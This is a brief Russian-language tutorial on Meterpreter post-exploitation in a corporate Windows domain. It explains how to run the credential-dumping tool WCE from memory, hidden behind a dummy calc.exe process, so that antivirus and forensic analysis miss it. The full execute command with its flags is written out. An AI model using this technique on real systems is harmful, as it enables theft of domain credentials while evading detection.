Ведь часто была такая ситуация, что находишь уязвимый сервис на какой-то тачке в корпоративной сети, запускаешь эксплойт, он срабатывает «как надо» и мы получаем meterpreter-шелл на ней. Казалось бы — все отлично! Домен ведь такая штука — сломал где-то в одном месте и, используя комбинации всяких глубоких «уязвимостей» (а-ля SMBRelay, Pass the Hash), можешь шаг за шагом дойти и до админства на контроллере домена. Но это только кажется…
Нет, конечно, это правда, но чаще всего на практике у нас обнаруживаются подводные камни
.Во-первых, хотя Meterpreter и крутая штука, в которую встроены классные модули (типа incognito) и всевозможные скрипты, позволяющие слить всю инфу со скомпрометированной тачки, но местами есть пробелы. Например, отсутствует модуль, который умеет выдирать из памяти NTLM-хешики от доменных учеток, под которыми запущены какие-то процессы. Хотя это умеет WCE. Или, например, новомодная штука mimikatz. Пароли в открытом виде — шикарно. Но ее, к сожалению, еще нет в списке модулей Meterpreter.
Конечно, решение этих трудностей простое — закачать требуемый exe’шничек куда-нибудь жертве и запустить его. И тут появляется «во-вторых». Вторая постоянная проблема — антивирусы. Ведь большинство хакерских тулз отлично палятся антивирусами (в отличие от процесса эксплуатации дырявого ПО и закачки meterpreter’а). Да, можно воспользоваться криптором и спрятать тулзу от глаз антивиря, но кто любит лишний геморрой?
К тому же одна из главных фич meterpreter’а — его незаметность для forensic’а. Все происходит в оперативной памяти. Почти никаких следов не остается. А закачивая тулзу на диск, мы оставляем четкие следы.
То есть новая фича meterpreter’а — сверхполезна.
Но давай перейдем к практике. Для того чтобы запустить нашу тулзу, например уже упомянутый WCE, нам требуется выполнить простейшую команду в meterpreter-шелле:
execute -H -m -d calc.exe -f wce.exe -a "-o creds.txt"
Где execute — указываем, что нам требуется запустить что-то;
- H — создать скрытый процесс;
- m — указываем, что процесс должен быть исполнен из памяти;
- d — имя «dummy»-exe’шника, в котором будет прятаться наша тулза;
- f — exe’шничек нашей хак-тулзы, которую мы хотим закачать на жертву и исполнить;
- a «-o creds.txt» — передаем параметры для нашей тулзы.
.В итоге наша тулза работает прямо из памяти. А если посмотреть список процессов, то можно увидеть только изначальный «dummy»-процесс.
Вот и всё. Успешных ресерчев и познаний нового!
